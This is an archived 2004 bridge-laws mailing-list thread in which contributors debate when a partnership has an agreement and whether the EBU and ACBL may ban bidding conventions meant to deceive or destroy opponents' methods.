>>>>>E-W could have different ideas and still be found to have an >>>>>agreement. >>>> >>>>I accept that this is so, but my poor brain cannot divine the logic >>>>behind it. Can you enlighten me? >>> >>> If you ask me, and I say RKCB, and ask my partner, who says San >>> Francisco, we have differing ideas. If he then reminds me we >>> agreed to play San Francisco six months ago because of a particular >>> hand then we have an agreement, which I had forgotten. >> >>True. But this one is too easy. I took Grattan to mean that a pair >>could still be found to have an agreement, even though neither player >>changes his story. > > Re-read the above case: we had an agreement even though i had > forgotten it. > > Now, suppose I do not remember even after prompting - so what? We > had an agreement. Indeed, you may have had an agreement that you, rather than having forgotten, never knew you had. We know the scenario: A agrees to play B's methods, B sends A 103 pages of system notes, the event date approaches, A reads the first 34 pages carefully and the rest hurriedly, confident that he has absorbed the important stuff, and assures B that he's ready to go, only to discover when it comes up that he never really did get the part about exactly when passes are forcing at the five-level, or which suit is trump in a complex RKB auction, or some such detail. Nevertheless, we do, properly, make a determination that there was a defined partnership agreement for the purpose of ruling on possible MI. You can easily agree to things you know nothing of, which is why there are so many rich contracts lawyers. Eric Landau ehaa@starpower.net 1107 Dale Drive (301) 608-0347 Silver Spring MD 20910-1607 From wayne.burrows@xtra.co.nz Sun Jul 25 00:39:18 2004 From: wayne.burrows@xtra.co.nz (Wayne Burrows) Date: Sun, 25 Jul 2004 11:39:18 +1200 Subject: [blml] Deceiving and destroying In-Reply-To: Message-ID: <000001c471d7$710225d0$0401010a@Desktop> > -----Original Message----- > From: blml-admin@rtflb.org [mailto:blml-admin@rtflb.org] On > Behalf Of James Hudson > Sent: Sunday, 25 July 2004 8:45 a.m. > To: jhudson@niu.edu > Cc: blml@rtflb.org > Subject: [blml] Deceiving and destroying > > > "Disallowed: Conventions and/or agreements whose primary > purpose is to > destroy the opponents' methods." What in the world does this mean? > It means that you are not allowed to pre-empt. It means that the Grand Slam I saw yesterday on a combined 18 hcp (no finesses - just required a 2-3 or 1-4 break in the key suit, you can probably even cope with 5-0 if the opponents don't get a ruff on the go) is unbiddable - you have no right bidding when the opponents own the hcp. Wayne From schoderb@msn.com Sun Jul 25 02:11:52 2004 From: schoderb@msn.com (WILLIAM SCHODER) Date: Sat, 24 Jul 2004 21:11:52 -0400 Subject: [blml] Deceiving and destroying References: <000001c471d7$710225d0$0401010a@Desktop> Message-ID: And is there anyone out there who thinks that this is "proper?" What a bunch of tripe! The only ones that I can think of who feel it is destructive to bridge are those whose income depends upon the opponents bellying up and never putting them to the test. But then, they are a growing source of advice as to what the Laws of Bridge should be. Kojak ----- Original Message ----- From: "Wayne Burrows" To: "'James Hudson'" ; Cc: Sent: Saturday, July 24, 2004 7:39 PM Subject: RE: [blml] Deceiving and destroying > > > > -----Original Message----- > > From: blml-admin@rtflb.org [mailto:blml-admin@rtflb.org] On > > Behalf Of James Hudson > > Sent: Sunday, 25 July 2004 8:45 a.m. > > To: jhudson@niu.edu > > Cc: blml@rtflb.org > > Subject: [blml] Deceiving and destroying > > > > > > "Disallowed: Conventions and/or agreements whose primary > > purpose is to > > destroy the opponents' methods." What in the world does this mean? > > > > It means that you are not allowed to pre-empt. > > It means that the Grand Slam I saw yesterday on a combined 18 hcp > (no finesses - just required a 2-3 or 1-4 break in the key suit, > you can probably even cope with 5-0 if the opponents don't get a > ruff on the go) is unbiddable - you have no right bidding when the > opponents own the hcp. > > Wayne > > > _______________________________________________ > blml mailing list > blml@rtflb.org > http://www.amsterdamned.org/mailman/listinfo/blml > From blml@blakjak.com Sun Jul 25 02:18:45 2004 From: blml@blakjak.com (David Stevenson) Date: Sun, 25 Jul 2004 02:18:45 +0100 Subject: [blml] 2003 EBU casebook, appeal 4 In-Reply-To: <29AB2D37-DD7E-11D8-A3F2-0030656F6826@rochester.rr.com> References: <29AB2D37-DD7E-11D8-A3F2-0030656F6826@rochester.rr.com> Message-ID: Ed Reppert wrote > >On Saturday, Jul 24, 2004, at 08:07 US/Eastern, David Stevenson wrote: > >> You are far too definite: suppose the player did not 'claim he had >>no agreement' but just said he did not remember such an event? Do you >>never forget anything from six months ago? > >Oh, certainly - but not to the extent that I continue to disremember >when reminded of it - at least, not so far. All I can say is I am amazed. I would say that all of my life I have found things that others remembered from 2+ weeks back that I had no memory of. -- David Stevenson Bridge RTFLB Cats Railways /\ /\ Liverpool, England, UK Fax: +44 870 055 7697 @ @ ICQ 20039682 bluejak on OKB =( + )= Lawspage: http://blakjak.com/lws_menu.htm ~ From blml@blakjak.com Sun Jul 25 02:21:37 2004 From: blml@blakjak.com (David Stevenson) Date: Sun, 25 Jul 2004 02:21:37 +0100 Subject: [blml] 2003 EBU casebook, appeal 4 In-Reply-To: <41028615.3000505@hdw.be> References: <022D4162-DD7E-11D8-A3F2-0030656F6826@rochester.rr.com> <41028615.3000505@hdw.be> Message-ID: Herman De Wael wrote >Hello Ed, > >Ed Reppert wrote: > >> On Saturday, Jul 24, 2004, at 04:28 US/Eastern, Herman De Wael >>wrote: >> >>> You would not have tried the same trick if partnering me, for >>>instance. >>> Because you would not have a clue about how I might interpret this. >>> You do have such a clue with the pick-up partner of the day, >>>probably because she plays in the same area as you do. >>> So if she understands it, then certainly you have a basis of agreement, >> I did not. I took a shot. It was probably irrational of me to do >>so, but I did. So I disagree with you, and I disagree with your >>ruling. When's the committee meeting? >> > >At this committee meeting, you will see two things: >- an apparent agreement between two players who both have the same idea >about some meaning of a bid; >- the statement of one of them that there was no partnership >understanding leading to that agreement; >(I have deliberately deleted the words "self-serving" from that second >sentence) >Guess what the committee will rule? If they are a good, competent committee I have no idea without hearing what the arguments were, who said what, what the evidence is, and so on. If they are a useless incompetent committee they will no doubt assume there was an agreement and proudly write the term 'self-serving' under the committee's comments. -- David Stevenson Bridge RTFLB Cats Railways /\ /\ Liverpool, England, UK Fax: +44 870 055 7697 @ @ ICQ 20039682 bluejak on OKB =( + )= Lawspage: http://blakjak.com/lws_menu.htm ~ From blml@blakjak.com Sun Jul 25 02:24:21 2004 From: blml@blakjak.com (David Stevenson) Date: Sun, 25 Jul 2004 02:24:21 +0100 Subject: [blml] Undiscussed alerts & anti-systemic alerts In-Reply-To: <12D7EA9B-DD7D-11D8-8329-0003936A6522@gordonrainsford.co.uk> References: <3F388772-DD5C-11D8-8329-0003936A6522@gordonrainsford.co.uk> <12D7EA9B-DD7D-11D8-8329-0003936A6522@gordonrainsford.co.uk> Message-ID: Gordon Rainsford wrote > >On 24 Jul 2004, at 14:27, David Stevenson wrote: > >> Gordon Rainsford wrote >>> >>> On 24 Jul 2004, at 06:40, David Stevenson wrote: >>> >>>> RJH wrote >>>> >>>>> A classic example, in which both the TD and AC fell >>>>> into the Monty Wolff trap, *is* appeal number eight >>>>> in the forthcoming 2003 WBU casebook. See attached. >>>> >>>> Talking of which, where are these casebooks? Both EBU and WBU >>>>have been sent to the relevant webmasters - whoops, sorry, >>>>webmistresses. >>> >>> I haven't looked for the WBU one, but the EBU one is on their >>>website under Downloads - Laws & Ethics - Appeals. >> >> No, cannot find it, despite looking again. Which URL? > >http://www.ebu.co.uk/ecpubdefault.asp? >page=Appeals&start=d%3A%2Fwebsite%2Fpublications%2FLaws+and+Ethics+Publi > cations Indeed. Well, I think that it might be helpful if the heading Appeals included it in the main page, especially as that one is the normally quoted reference. OK, thanks, I shall have a word with the webmistress. I suppose you cannot find the one on the WBU site just to prove I could not find that either when it is there? -- David Stevenson Bridge RTFLB Cats Railways /\ /\ Liverpool, England, UK Fax: +44 870 055 7697 @ @ ICQ 20039682 bluejak on OKB =( + )= Lawspage: http://blakjak.com/lws_menu.htm ~ From blml@blakjak.com Sun Jul 25 02:34:12 2004 From: blml@blakjak.com (David Stevenson) Date: Sun, 25 Jul 2004 02:34:12 +0100 Subject: [blml] Deceiving and destroying In-Reply-To: References: Message-ID: <9LXQ+eiU4wABFw5o@blakjak.demon.co.uk> James Hudson wrote >The Orange Book, 9.1.4., forbids the use of a convention whose main >benefit is to deceive the opponents about the length or strength of a >suit or the strength of the hand. I do not understand this provision. >A convention is a partnership agreement to attach a certain meaning to a >certain call. This meaning is conveyed to partner, to the opponents, to >the kibitzers--to anyone who is present and has been informed about the >convention. Any *deception* would be practiced equally on the opponents >and on partner. But how can one have a *conventional agreement* with >one's partner to deceive *him*? The wording says "deceive the opponents" not deceive partner. It looks clear enough to me. >The ACBL General Convention Chart has an apparently similar provision: >"Disallowed: Conventions and/or agreements whose primary purpose is to >destroy the opponents' methods." What in the world does this mean? That is nothing like our reg. We do not bar a method because it is destructive per se. We may not permit what the ACBL consider a destructive method, but we do not have an overall reg of that type. For example, the ACBL considers a four-card opening pre-empt at the 3-level a destructive convention: we permit such openings. >Some case law would be helpful here: when have these prohibitions ever >been applied in practice? How *ought* they to be formulated, so as to >make them say what is meant? I still think ours does say exactly what it means. You want an example? OK. 1NT 2D [forces 2H] 2H 2NT There was a pair that played this as showing a five card spade suit and game try values. 1NT 2H [forces 2S] 2S 2NT This showed five hearts and game try values. Furthermore 1NT 2D [forces 2H] 2H 3NT and 1NT 2H [forces 2S] 2S 3NT both *required* partner to pass. There was no technical merit in any of this: they played it so as to confuse the opponents, especially to get favourable opening leads. Of course they explained it if asked, but how many people ask on these sequences? So their only reason to play this was that it "deceived the opponents about the length of a suit". -- David Stevenson Bridge RTFLB Cats Railways /\ /\ Liverpool, England, UK Fax: +44 870 055 7697 @ @ ICQ 20039682 bluejak on OKB =( + )= Lawspage: http://blakjak.com/lws_menu.htm ~ From schoderb@msn.com Sun Jul 25 02:52:08 2004 From: schoderb@msn.com (WILLIAM SCHODER) Date: Sat, 24 Jul 2004 21:52:08 -0400 Subject: [blml] Deceiving and destroying References: <9LXQ+eiU4wABFw5o@blakjak.demon.co.uk> Message-ID: Bravo!!!!!!!!!!!!!!!!! Kojak ----- Original Message ----- From: "David Stevenson" To: Sent: Saturday, July 24, 2004 9:34 PM Subject: Re: [blml] Deceiving and destroying > James Hudson wrote > >The Orange Book, 9.1.4., forbids the use of a convention whose main > >benefit is to deceive the opponents about the length or strength of a > >suit or the strength of the hand. I do not understand this provision. > >A convention is a partnership agreement to attach a certain meaning to a > >certain call. This meaning is conveyed to partner, to the opponents, to > >the kibitzers--to anyone who is present and has been informed about the > >convention. Any *deception* would be practiced equally on the opponents > >and on partner. But how can one have a *conventional agreement* with > >one's partner to deceive *him*? > > The wording says "deceive the opponents" not deceive partner. It > looks clear enough to me. > > >The ACBL General Convention Chart has an apparently similar provision: > >"Disallowed: Conventions and/or agreements whose primary purpose is to > >destroy the opponents' methods." What in the world does this mean? > > That is nothing like our reg. We do not bar a method because it is > destructive per se. We may not permit what the ACBL consider a > destructive method, but we do not have an overall reg of that type. For > example, the ACBL considers a four-card opening pre-empt at the 3-level > a destructive convention: we permit such openings. > > >Some case law would be helpful here: when have these prohibitions ever > >been applied in practice? How *ought* they to be formulated, so as to > >make them say what is meant? > > I still think ours does say exactly what it means. You want an > example? OK. > > 1NT 2D [forces 2H] > 2H 2NT > > There was a pair that played this as showing a five card spade suit > and game try values. > > 1NT 2H [forces 2S] > 2S 2NT > > This showed five hearts and game try values. > > Furthermore > > 1NT 2D [forces 2H] > 2H 3NT > > and > > 1NT 2H [forces 2S] > 2S 3NT > > both *required* partner to pass. > > There was no technical merit in any of this: they played it so as to > confuse the opponents, especially to get favourable opening leads. Of > course they explained it if asked, but how many people ask on these > sequences? > > So their only reason to play this was that it "deceived the opponents > about the length of a suit". > > -- > David Stevenson Bridge RTFLB Cats Railways /\ /\ > Liverpool, England, UK Fax: +44 870 055 7697 @ @ > ICQ 20039682 bluejak on OKB =( + )= > Lawspage: http://blakjak.com/lws_menu.htm ~ > > _______________________________________________ > blml mailing list > blml@rtflb.org > http://www.amsterdamned.org/mailman/listinfo/blml > From wayne.burrows@xtra.co.nz Sun Jul 25 03:22:21 2004 From: wayne.burrows@xtra.co.nz (Wayne Burrows) Date: Sun, 25 Jul 2004 14:22:21 +1200 Subject: [blml] Deceiving and destroying In-Reply-To: <9LXQ+eiU4wABFw5o@blakjak.demon.co.uk> Message-ID: <006f01c471ee$372e41b0$0401010a@Desktop> > -----Original Message----- > From: blml-admin@rtflb.org [mailto:blml-admin@rtflb.org] On > Behalf Of David Stevenson > Sent: Sunday, 25 July 2004 1:34 p.m. > To: blml@rtflb.org > Subject: Re: [blml] Deceiving and destroying > > > I still think ours does say exactly what it means. You want an > example? OK. > > 1NT 2D [forces 2H] > 2H 2NT > > There was a pair that played this as showing a five card > spade suit > and game try values. > > 1NT 2H [forces 2S] > 2S 2NT > > This showed five hearts and game try values. > > Furthermore > > 1NT 2D [forces 2H] > 2H 3NT > > and > > 1NT 2H [forces 2S] > 2S 3NT > > both *required* partner to pass. > > There was no technical merit in any of this: they played > it so as to > confuse the opponents, especially to get favourable opening > leads. Of > course they explained it if asked, but how many people ask on these > sequences? > > So their only reason to play this was that it "deceived > the opponents > about the length of a suit". > Strange but it seems to me that if my opponents play a method that has no technical merit then I don't think that I need regulatory protection from them. Wayne From ereppert@rochester.rr.com Sun Jul 25 03:43:54 2004 From: ereppert@rochester.rr.com (Ed Reppert) Date: Sat, 24 Jul 2004 22:43:54 -0400 Subject: [blml] 2003 EBU casebook, appeal 4 In-Reply-To: <41028615.3000505@hdw.be> Message-ID: <780AF2BA-DDE4-11D8-B273-0030656F6826@rochester.rr.com> On Saturday, Jul 24, 2004, at 11:53 US/Eastern, Herman De Wael wrote: > At this committee meeting, you will see two things: > - an apparent agreement between two players who both have the same > idea about some meaning of a bid; > - the statement of one of them that there was no partnership > understanding leading to that agreement; > (I have deliberately deleted the words "self-serving" from that second > sentence) > Guess what the committee will rule? Nope. But I will say that the fact that two players seem to have the same idea about the meaning of an undiscussed bid may *suggest* that they have some basis for agreement, but it is not proof - and the statement of one of them (or both?) that there is no agreement contradicts the suggestion. Put it another way: the law requires a ruling of MI vs. misbid "unless there is evidence to the contrary", and the statement is certainly such evidence. >> As for "trick", I don't think that word is appropriate. > > I apologise for the use of a word with an apparent negative content. I > meant no such thing. I am still looking for a better word, but "ploy", > "tactic" and all others have a similar negative connotation. There is > nothing negative in using advanced bidding techniques and I would wish > to understand you if you use them with me as partner. Hehe. Apology accepted, point taken. :-) From ereppert@rochester.rr.com Sun Jul 25 03:50:27 2004 From: ereppert@rochester.rr.com (Ed Reppert) Date: Sat, 24 Jul 2004 22:50:27 -0400 Subject: [blml] 2003 EBU casebook, appeal 4 In-Reply-To: Message-ID: <62A1CBBE-DDE5-11D8-B273-0030656F6826@rochester.rr.com> On Saturday, Jul 24, 2004, at 21:21 US/Eastern, David Stevenson wrote: > If they are a good, competent committee I have no idea without > hearing what the arguments were, who said what, what the evidence is, > and so on. > > If they are a useless incompetent committee they will no doubt > assume there was an agreement and proudly write the term > 'self-serving' under the committee's comments. Hehe. :-) From emu@atrax.net.au Sun Jul 25 06:25:20 2004 From: emu@atrax.net.au (Noel and Pamela) Date: Sun, 25 Jul 2004 15:25:20 +1000 Subject: [blml] Deceiving and destroying In-Reply-To: <9LXQ+eiU4wABFw5o@blakjak.demon.co.uk> Message-ID: <001301c47207$ca8a8630$9e2ec2cb@noeltsui0kso1i> Sorry David - this is crap! It's all alertable - even pre-alertable. I'd never be deceived, unless they didn't alert. Any players/partnership worth their/its salt will have defensive methods available to stop this from causing a problem. regards, Noel -----Original Message----- From: blml-admin@rtflb.org [mailto:blml-admin@rtflb.org] On Behalf Of David Stevenson Sent: Sunday, July 25, 2004 11:34 AM To: blml@rtflb.org Subject: Re: [blml] Deceiving and destroying James Hudson wrote >The Orange Book, 9.1.4., forbids the use of a convention whose main >benefit is to deceive the opponents about the length or strength of a >suit or the strength of the hand. I do not understand this provision. >A convention is a partnership agreement to attach a certain meaning to >a certain call. This meaning is conveyed to partner, to the opponents, >to the kibitzers--to anyone who is present and has been informed about >the convention. Any *deception* would be practiced equally on the >opponents and on partner. But how can one have a *conventional >agreement* with one's partner to deceive *him*? The wording says "deceive the opponents" not deceive partner. It looks clear enough to me. >The ACBL General Convention Chart has an apparently similar provision: >"Disallowed: Conventions and/or agreements whose primary purpose is to >destroy the opponents' methods." What in the world does this mean? That is nothing like our reg. We do not bar a method because it is destructive per se. We may not permit what the ACBL consider a destructive method, but we do not have an overall reg of that type. For example, the ACBL considers a four-card opening pre-empt at the 3-level a destructive convention: we permit such openings. >Some case law would be helpful here: when have these prohibitions ever >been applied in practice? How *ought* they to be formulated, so as to >make them say what is meant? I still think ours does say exactly what it means. You want an example? OK. 1NT 2D [forces 2H] 2H 2NT There was a pair that played this as showing a five card spade suit and game try values. 1NT 2H [forces 2S] 2S 2NT This showed five hearts and game try values. Furthermore 1NT 2D [forces 2H] 2H 3NT and 1NT 2H [forces 2S] 2S 3NT both *required* partner to pass. There was no technical merit in any of this: they played it so as to confuse the opponents, especially to get favourable opening leads. Of course they explained it if asked, but how many people ask on these sequences? So their only reason to play this was that it "deceived the opponents about the length of a suit". -- David Stevenson Bridge RTFLB Cats Railways /\ /\ Liverpool, England, UK Fax: +44 870 055 7697 @ @ ICQ 20039682 bluejak on OKB =( + )= Lawspage: http://blakjak.com/lws_menu.htm ~ _______________________________________________ blml mailing list blml@rtflb.org http://www.amsterdamned.org/mailman/listinfo/blml From emu@atrax.net.au Sun Jul 25 06:25:20 2004 From: emu@atrax.net.au (Noel and Pamela) Date: Sun, 25 Jul 2004 15:25:20 +1000 Subject: [blml] 2003 EBU casebook, appeal 4 In-Reply-To: Message-ID: <001201c47207$c98b65b0$9e2ec2cb@noeltsui0kso1i> Agreed - my partner and I often have these conversations: ME Opponent 1 Pard Opponent 2 1D* 1S 2H ? * 10-14, 4+ Diamonds Me: "2H shows 5 Hearts and no interest in game." After we miss 4H - Me: "What did you have?" Pard: "13 and 5 hearts." Me: "I thought we agreed to double with that much." Pard: "Did we? That's what I wanted to do, but you said you wouldn't play that because the range was too wide." Me: "No Pard, that's what you wanted 2 months ago - I agreed to do what you wanted - and then you changed your mind last Tuesday! So, what exactly are we doing?" ;-) It usually happens after a few weeks layoff.. regards, Noel -----Original Message----- From: blml-admin@rtflb.org [mailto:blml-admin@rtflb.org] On Behalf Of David Stevenson Sent: Sunday, July 25, 2004 11:19 AM To: blml@rtflb.org Subject: Re: [blml] 2003 EBU casebook, appeal 4 Ed Reppert wrote > >On Saturday, Jul 24, 2004, at 08:07 US/Eastern, David Stevenson wrote: > >> You are far too definite: suppose the player did not 'claim he had >>no agreement' but just said he did not remember such an event? Do you >>never forget anything from six months ago? > >Oh, certainly - but not to the extent that I continue to disremember >when reminded of it - at least, not so far. All I can say is I am amazed. I would say that all of my life I have found things that others remembered from 2+ weeks back that I had no memory of. -- David Stevenson Bridge RTFLB Cats Railways /\ /\ Liverpool, England, UK Fax: +44 870 055 7697 @ @ ICQ 20039682 bluejak on OKB =( + )= Lawspage: http://blakjak.com/lws_menu.htm ~ _______________________________________________ blml mailing list blml@rtflb.org http://www.amsterdamned.org/mailman/listinfo/blml From grandeval@vejez.fsnet.co.uk Sun Jul 25 08:47:11 2004 From: grandeval@vejez.fsnet.co.uk (Grattan Endicott) Date: Sun, 25 Jul 2004 08:47:11 +0100 Subject: [blml] Deceiving and destroying References: <006f01c471ee$372e41b0$0401010a@Desktop> Message-ID: <000001c47222$5a66fd50$b5934c51@yourtkrv58tbs0> ----- Original Message ----- From: "Wayne Burrows" To: "'David Stevenson'" ; Sent: Sunday, July 25, 2004 3:22 AM Subject: RE: [blml] Deceiving and destroying > > Strange but it seems to me that if my opponents play a method that > has no technical merit then I don't think that I need regulatory > protection from them. > > Wayne > +=+ I accept what you say. Would you, however, agree that by comparison with many you are no 'innocent abroad'? The protection is considered desirable for more average players. ~ G ~ +=+ From grandeval@vejez.fsnet.co.uk Sun Jul 25 09:13:58 2004 From: grandeval@vejez.fsnet.co.uk (Grattan Endicott) Date: Sun, 25 Jul 2004 09:13:58 +0100 Subject: [blml] Deceiving and destroying References: <001301c47207$ca8a8630$9e2ec2cb@noeltsui0kso1i> Message-ID: <000101c47222$5b25b970$b5934c51@yourtkrv58tbs0> ----- Original Message ----- From: "Noel and Pamela" To: Sent: Sunday, July 25, 2004 6:25 AM Subject: RE: [blml] Deceiving and destroying > Sorry David - this is crap! It's all alertable - even > pre-alertable. I'd never be deceived, unless they > didn't alert. > > Any players/partnership worth their/its salt will > have defensive methods available to stop this from > causing a problem. > +=+ I am not clear how this reflects on the opinion of the EBU L&E Committee that the method is undesirable and should not be allowed. You may disagree, certainly, with that point of view but then you are presenting an opinion, which does not challenge the *right* of the EBU to think as they do and to institute the regulation for their events. No doubt there are numbers of players who see no malice in psyching an artificial opening bid. However, this is a view with which some major authorities disagree. For example, such a prohibition is likely to be found, I believe, in the Conditions of Contest for the Olympiad. ~ Grattan ~ +=+ From t.kooyman@worldonline.nl Sun Jul 25 10:11:05 2004 From: t.kooyman@worldonline.nl (Ton Kooijman) Date: Sun, 25 Jul 2004 11:11:05 +0200 Subject: [blml] Deceiving and destroying References: <001301c47207$ca8a8630$9e2ec2cb@noeltsui0kso1i> Message-ID: <002c01c47227$58580130$5a81b6d4@LNV> > Sorry David - this is crap! It's all alertable - even pre-alertable. I'd > never be deceived, unless they didn't alert. > > Any players/partnership worth their/its salt will have defensive methods > available to stop this from causing a problem. > > regards, > Noel Well, well: 'Crap' for such modest man. David is right that a pair bidding as he described gets undeserved advantages that should not be allowed. But then others are right expressing their doubts about the regulation the EBU has made to prevent this. It is a non-bridge approach to a non-bridge attitude in my opinion. And how to make a distinction between agreements with the main purpose to deceive opponents and those with better reasons? Instruct this pair to explicitly explain this agreement before play. Or better - once in a while we seem to do well in my federation - don't alert a normal transfer anymore. Thinking about this, I should try to get the multi 2D bid in this non alertable group. A couple of weeks ago I was 'deceived' by an alerted 2D showing both majors. ton From t.kooyman@worldonline.nl Sun Jul 25 10:14:19 2004 From: t.kooyman@worldonline.nl (Ton Kooijman) Date: Sun, 25 Jul 2004 11:14:19 +0200 Subject: [blml] Deceiving and destroying References: <001301c47207$ca8a8630$9e2ec2cb@noeltsui0kso1i> <000101c47222$5b25b970$b5934c51@yourtkrv58tbs0> Message-ID: <003f01c47227$ccd5ef40$5a81b6d4@LNV> > No doubt there are numbers of players who > see no malice in psyching an artificial opening bid. > However, this is a view with which some major > authorities disagree. For example, such a prohibition > is likely to be found, I believe, in the Conditions of > Contest for the Olympiad. > ~ Grattan ~ +=+ > Don't be proud of it please, ton From hermandw@hdw.be Sun Jul 25 12:13:44 2004 From: hermandw@hdw.be (Herman De Wael) Date: Sun, 25 Jul 2004 13:13:44 +0200 Subject: [blml] 2003 EBU casebook, appeal 4 In-Reply-To: <780AF2BA-DDE4-11D8-B273-0030656F6826@rochester.rr.com> References: <780AF2BA-DDE4-11D8-B273-0030656F6826@rochester.rr.com> Message-ID: <410395E8.7010002@hdw.be> Ed Reppert wrote: > > On Saturday, Jul 24, 2004, at 11:53 US/Eastern, Herman De Wael wrote: > >> At this committee meeting, you will see two things: >> - an apparent agreement between two players who both have the same >> idea about some meaning of a bid; >> - the statement of one of them that there was no partnership >> understanding leading to that agreement; >> (I have deliberately deleted the words "self-serving" from that second >> sentence) >> Guess what the committee will rule? > > > Nope. But I will say that the fact that two players seem to have the > same idea about the meaning of an undiscussed bid may *suggest* that > they have some basis for agreement, but it is not proof - and the > statement of one of them (or both?) that there is no agreement > contradicts the suggestion. Put it another way: the law requires a > ruling of MI vs. misbid "unless there is evidence to the contrary", and > the statement is certainly such evidence. > Well Ed, you just go on playing your bridge game the way you want it. I prefer to tell my opponents a little more useful information than to try and gain in a committee. -- Herman DE WAEL Antwerpen Belgium http://www.hdw.be From grandeval@vejez.fsnet.co.uk Sun Jul 25 09:55:37 2004 From: grandeval@vejez.fsnet.co.uk (Grattan Endicott) Date: Sun, 25 Jul 2004 09:55:37 +0100 Subject: [blml] Deceiving and destroying References: <9LXQ+eiU4wABFw5o@blakjak.demon.co.uk> Message-ID: <000a01c4723d$1c833970$d4bc87d9@yourtkrv58tbs0> grandeval@vejez.fsnet.co.uk [also gesta@tiscali.co.uk] ********************************** "Comment is free but facts are on expenses." ~ Tom Stoppard ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ ----- Original Message ----- From: "David Stevenson" To: Sent: Sunday, July 25, 2004 2:34 AM Subject: Re: [blml] Deceiving and destroying > > There was no technical merit in any of this: they played > it so as to confuse the opponents, especially to get > favourable opening leads. Of course they explained it if > asked, but how many people ask on these sequences? > +=+ Even if it is described on the CC and alerted there are some who would not think to ask. ~ G ~ +=+ From blml@blakjak.com Sun Jul 25 12:47:59 2004 From: blml@blakjak.com (David Stevenson) Date: Sun, 25 Jul 2004 12:47:59 +0100 Subject: [blml] Deceiving and destroying In-Reply-To: <001301c47207$ca8a8630$9e2ec2cb@noeltsui0kso1i> References: <9LXQ+eiU4wABFw5o@blakjak.demon.co.uk> <001301c47207$ca8a8630$9e2ec2cb@noeltsui0kso1i> Message-ID: <3z5SQJmv35ABFwKS@blakjak.demon.co.uk> Noel and Pamela wrote >Sorry David - this is crap! It's all alertable - even pre-alertable. I'd >never be deceived, unless they didn't alert. I am pleased that you are so much better than the majority of players. However, I like ot protect the lesser players as well. Of course, we have no pre-alerting here. But if we did would you really listen to this pair as they explained ***every single thing they played of this sort***? >Any players/partnership worth their/its salt will have defensive methods >available to stop this from causing a problem. You mean two little old ladies down at the club? >regards, >Noel > >-----Original Message----- >From: blml-admin@rtflb.org [mailto:blml-admin@rtflb.org] On Behalf Of David >Stevenson >Sent: Sunday, July 25, 2004 11:34 AM >To: blml@rtflb.org >Subject: Re: [blml] Deceiving and destroying > > >James Hudson wrote >>The Orange Book, 9.1.4., forbids the use of a convention whose main >>benefit is to deceive the opponents about the length or strength of a >>suit or the strength of the hand. I do not understand this provision. >>A convention is a partnership agreement to attach a certain meaning to >>a certain call. This meaning is conveyed to partner, to the opponents, >>to the kibitzers--to anyone who is present and has been informed about >>the convention. Any *deception* would be practiced equally on the >>opponents and on partner. But how can one have a *conventional >>agreement* with one's partner to deceive *him*? > > The wording says "deceive the opponents" not deceive partner. It >looks clear enough to me. > >>The ACBL General Convention Chart has an apparently similar provision: >>"Disallowed: Conventions and/or agreements whose primary purpose is to >>destroy the opponents' methods." What in the world does this mean? > > That is nothing like our reg. We do not bar a method because it is >destructive per se. We may not permit what the ACBL consider a >destructive method, but we do not have an overall reg of that type. For >example, the ACBL considers a four-card opening pre-empt at the 3-level >a destructive convention: we permit such openings. > >>Some case law would be helpful here: when have these prohibitions ever >>been applied in practice? How *ought* they to be formulated, so as to >>make them say what is meant? > > I still think ours does say exactly what it means. You want an >example? OK. > > 1NT 2D [forces 2H] > 2H 2NT > > There was a pair that played this as showing a five card spade suit >and game try values. > > 1NT 2H [forces 2S] > 2S 2NT > > This showed five hearts and game try values. > > Furthermore > > 1NT 2D [forces 2H] > 2H 3NT > >and > > 1NT 2H [forces 2S] > 2S 3NT > >both *required* partner to pass. > > There was no technical merit in any of this: they played it so as to >confuse the opponents, especially to get favourable opening leads. Of >course they explained it if asked, but how many people ask on these >sequences? > > So their only reason to play this was that it "deceived the opponents >about the length of a suit". > -- David Stevenson Bridge RTFLB Cats Railways /\ /\ Liverpool, England, UK Fax: +44 870 055 7697 @ @ ICQ 20039682 bluejak on OKB =( + )= Lawspage: http://blakjak.com/lws_menu.htm ~ From wayne.burrows@xtra.co.nz Sun Jul 25 13:08:55 2004 From: wayne.burrows@xtra.co.nz (Wayne Burrows) Date: Mon, 26 Jul 2004 00:08:55 +1200 Subject: [blml] Deceiving and destroying In-Reply-To: <000001c47222$5a66fd50$b5934c51@yourtkrv58tbs0> Message-ID: <004801c47240$28f5fe60$0401010a@Desktop> > -----Original Message----- > From: blml-admin@rtflb.org [mailto:blml-admin@rtflb.org] On > Behalf Of Grattan Endicott > Sent: Sunday, 25 July 2004 7:47 p.m. > To: blml@rtflb.org > Subject: Re: [blml] Deceiving and destroying > > > > ----- Original Message ----- > From: "Wayne Burrows" > To: "'David Stevenson'" ; > Sent: Sunday, July 25, 2004 3:22 AM > Subject: RE: [blml] Deceiving and destroying > > > > > > Strange but it seems to me that if my opponents play a method that > > has no technical merit then I don't think that I need regulatory > > protection from them. > > > > Wayne > > > +=+ I accept what you say. Would you, however, agree > that by comparison with many you are no 'innocent abroad'? > The protection is considered desirable for more average > players. ~ G ~ +=+ > Average players need and will accept good results from the opponents methods that have no merit as much as the rest of us. Wayne From wayne.burrows@xtra.co.nz Sun Jul 25 13:11:20 2004 From: wayne.burrows@xtra.co.nz (Wayne Burrows) Date: Mon, 26 Jul 2004 00:11:20 +1200 Subject: [blml] Deceiving and destroying In-Reply-To: <002c01c47227$58580130$5a81b6d4@LNV> Message-ID: <004901c47240$7ee02a30$0401010a@Desktop> > -----Original Message----- > From: blml-admin@rtflb.org [mailto:blml-admin@rtflb.org] On > Behalf Of Ton Kooijman > Sent: Sunday, 25 July 2004 9:11 p.m. > To: Noel and Pamela; blml@rtflb.org > Subject: Re: [blml] Deceiving and destroying > > > Instruct this pair to explicitly explain this agreement > before play. Or > better - once in a while we seem to do well in my federation > - don't alert > a normal transfer anymore. > > Thinking about this, I should try to get the multi 2D bid in this non > alertable group. A couple of weeks ago I was 'deceived' by an > alerted 2D > showing both majors. This happens when someone has an unusual unusual agreement. A flaw in the alerting concept no doubt. Active disclosure by way of a pre-alert would be ideal in these non-transfer transfers etc. Wayne From wayne.burrows@xtra.co.nz Sun Jul 25 13:17:39 2004 From: wayne.burrows@xtra.co.nz (Wayne Burrows) Date: Mon, 26 Jul 2004 00:17:39 +1200 Subject: [blml] Deceiving and destroying In-Reply-To: <3z5SQJmv35ABFwKS@blakjak.demon.co.uk> Message-ID: <004f01c47241$60c943a0$0401010a@Desktop> > -----Original Message----- > From: blml-admin@rtflb.org 